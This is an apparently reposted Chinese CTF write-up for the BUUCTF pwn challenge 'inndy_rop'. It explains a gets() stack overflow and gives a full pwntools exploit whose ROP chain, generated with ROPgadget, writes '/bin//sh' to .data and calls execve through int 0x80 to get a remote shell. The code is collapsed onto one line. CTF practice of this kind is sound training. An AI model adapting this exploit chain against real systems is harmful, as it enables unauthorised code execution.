[BUUCTF-pwn]——inndy_rop
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——inndy_rop
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——inndy_rop
main函數無法反匯編,不過還好,里面的overflow就是gets函數,可以棧溢出。
因為懶得自己去構造rop鏈了,看看里面是否可以拼湊出系統的調用
里面有就省的我們自己寫了
中間還找了半天錯,我真是個笨蛋,以前一直用p 忘記和和構造系統調用的變量重復了,改為a就好了
exploit
from pwn import * from struct import pack a = remote('node3.buuoj.cn',27139) # Padding goes here p = 'a' * (0xc + 4)p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += '/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += '//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80payload = p a.sendline(payload) a.interactive()對了命令是這個 ROPgadget --binary rop --ropchain
給個贊和關注唄
總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——inndy_rop的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——bbys_t
- 下一篇: [BUUCTF-pwn]——gyctf_